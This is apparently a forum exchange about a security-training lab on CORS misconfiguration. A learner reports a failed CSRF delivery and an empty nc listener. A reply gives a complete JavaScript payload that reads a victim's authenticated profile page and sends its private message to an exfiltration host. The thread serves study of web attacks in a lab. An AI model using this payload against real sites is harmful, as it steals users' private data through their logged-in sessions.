Hi, In the CORS Misconfiguration section of the Advanced XSS and CSRF Exploitation module, after delivery exploit to victim nothing happen. I have test also with a single script tag and location with my IP and port 8000 and listen with nc -nvlp 8000 but I didn’t receive any request. If I try visiting the exploitserver.htb/exploit page I receive my own request. Also if I visit with the correct exploit with xhr request to profile.php page of the vulnerablesite.htb, the request not include the PHPSESSID Cookie and I receive a redirect to 302.
So once is working and you now that the CSRF is exploiting on you first, you can try to figure it out how to fix it and how to retrieve the right information.
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://vulnerablesite.htb:32946/profile.php', true);
xhr.withCredentials = true;
xhr.onload = () => {
// parse the response
var doc = new DOMParser().parseFromString(xhr.response, 'text/html');
// exfiltrate only the interesting element
var msg = encodeURIComponent(doc.getElementById('private-message').innerHTML);
location = 'https://exfiltrate.htb:32946/log?data=' + btoa(msg);
};
xhr.send();
</script>
For the rest I guess you won’t need any other thing! All the best tio